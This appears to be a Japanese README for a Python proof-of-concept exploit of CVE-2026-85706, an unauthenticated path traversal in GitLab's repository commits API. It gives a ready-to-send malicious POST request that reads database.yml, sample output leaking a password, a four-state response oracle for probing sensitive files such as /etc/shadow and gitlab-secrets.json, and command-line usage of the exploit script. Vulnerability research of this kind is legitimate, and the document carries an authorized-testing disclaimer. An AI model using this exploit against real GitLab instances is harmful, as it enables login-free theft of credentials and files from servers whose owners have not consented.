
CVE-2026-85706 の Python PoC。GitLab CE/EE Repository Commits API における未認証のパストラバーサルであり、4状態オラクルを介して任意のローカルファイルを漏洩します。
GitLab の「commit 作成」API(POST /api/v4/projects/:id/repository/commits)は、1 回のリクエストで大量のファイル内容を送信できる。巨大なリクエストボディが直接 Rails のパーサーに入るのを避けるため、Workhorse はまずリクエストボディを一時ファイルに書き出し、file.path / file.size などのメタデータを転送リクエストに注入し、Rails エンドポイントはこれらのパラメータに従ってファイルを読み戻す。脆弱性チェーンは次の 4 つの要素の重なりによって成立する:
post ':id/repository/commits' のエントリには require_gitlab_workhorse!(「Workhorse 経由で転送された」ことのみを検証)しかなく、実際の authenticate! は後方の authorize_push_to_branch! に隠れており、パストラバーサルによる読み取りはその前に発生する。file_params_from_body_upload はリクエストパラメータ file.path / file.size / Content-Type を Workhorse が注入したメタデータとしてそのまま扱い、パラメータの出所を区別しないため、File.read(file_path) で任意のローカルパスをトラバースできる。Content-Type=application/x-www-form-urlencoded の場合、ファイル内容は Rack::Utils.parse_nested_query に渡されてパースされる。内容中の不正な %-シーケンスが ArgumentError: invalid %-encoding (<コンポーネント内容>) を引き起こし、bad_request! を通じて 400 レスポンスにそのままエコーされる。エコーは先着順であり、& / = はコンポーネント境界であり、パースは最初の不正な % があるコンポーネントで中断しそのコンポーネントをエコーする。区切り文字がない場合、ファイル全体が 1 つのコンポーネントとして丸ごとエコーされる(正当な %xx 16 進エスケープはエラーを引き起こさない)。.../repository/commits\z に厳密一致)に引っかかり、偽造パラメータは書き出されたファイル内容に飲み込まれる。URL 末尾に / を付けるとこのルールに一致しなくなり、フォールバックの署名付きリバースプロキシに落ちる——元のリクエストボディが偽造パラメータごとそのまま Rails に転送され、有効な JWT を伴うため require_gitlab_workhorse! を通過する。Grape が末尾スラッシュを正規化した後も脆弱なハンドラに一致する。前提条件:URL 中の :id は実在するプロジェクト(任意の公開プロジェクトで可)である必要があり、全行程でログイン不要。
悪用リクエスト(外部 DB 構成下の database.yml、パスワードに不正な % シーケンスが含まれる場合に全体がエコーされる):
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded
レスポンス(最初の不正な % があるコンポーネントが丸ごとエコーされる):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n adapter: postgresql\n username: gitlab\n password: \"P@ss%w0rd\" ...)"}
読み取りは Puma プロセスの git ユーザー権限で実行され、レスポンスは四状態オラクルを構成する:
デフォルト構成下での実際に読み取り可能な範囲(実測):
% を含むファイル:CI ビルドログと成果物、ユーザーアップロード添付ファイル、外部 DB 構成の database.yml。database.yml はデフォルトのローカル socket peer 認証ではパスワードフィールドが空であり、外部 DB 構成でのみ値を持つ。gitlab.yml:レンダリング後のテンプレートコメントはファイル先頭(約 19 行目)に 95%、%{key} などのシーケンスが既に存在し、一方で資格情報設定(incoming_email、LDAP、オブジェクトストレージなど)は 170 行目以降にある——先着順とはつまりデフォルト構成では先頭セクションのみエコー可能で、資格情報セクションは読み出せない。干渉するシーケンスがない構成バリアント(カスタムテンプレートなど)でのみ読み取り可能。なお SMTP パスワード(gitlab_rails['smtp_password'])は gitlab.yml にレンダリングされず、実際にレンダリングされるのは incoming_email、LDAP、object_store の資格情報である。secrets.yml は純粋な hex で % を含まないため内容は読み出せない(401)。gitlab.rb、TLS 秘密鍵、バックアップアーカイブは root-only(500 オラクルのみ)。/proc/self/* によるプロセス自己参照、プロジェクト ID から @hashed パスを換算してプライベートプロジェクトの存在を探索。Python 3 標準ライブラリ実装で、サードパーティ依存なし。スクリプトは上表に従って四状態の結果を自動判定する。
python3 exploit.py -t http://<target>:<port> # デフォルトで gitlab.yml を読む(エコーの簡易検証)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd
出力例(デフォルト構成で gitlab.yml を読む——エコーされるのは資格情報セクションではなく先頭セクション):
============================================================
CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------
認可されたセキュリティテストおよび脆弱性研究のみに使用すること。
| レスポンス | 意味 | 例 |
|---|
400 local file not present | ファイルが存在しない | /etc/nonexistent |
500 Internal Server Error | 存在するが git ユーザーに読み取り権限がない(Errno::EACCES が未処理)。multipart 分岐でも読み取り可能ファイルのパースエラーは同様に 500 になる | /etc/shadow、/etc/gitlab/gitlab-secrets.json |
401 Unauthorized | 存在し読み取り可能だが、内容に不正な % シーケンスがなくエコーされない | /etc/passwd、/proc/self/environ |
400 invalid %-encoding (<内容>) | 存在し、読み取り可能で不正な % シーケンスを含む——該当コンポーネントが丸ごとエコーされる | % を含むログ、CI ビルド成果物、外部 DB の database.yml |
| パラメータ | 説明 |
|---|
-t | 対象 GitLab アドレス(必須)、例 http://<target>:<port> |
-f | 読み取る絶対パス(デフォルト /var/opt/gitlab/gitlab-rails/etc/gitlab.yml) |
-p | プロジェクト ID、実在する任意のプロジェクトで可(デフォルト 1) |
-o | 読み出した内容をローカルファイルに保存 |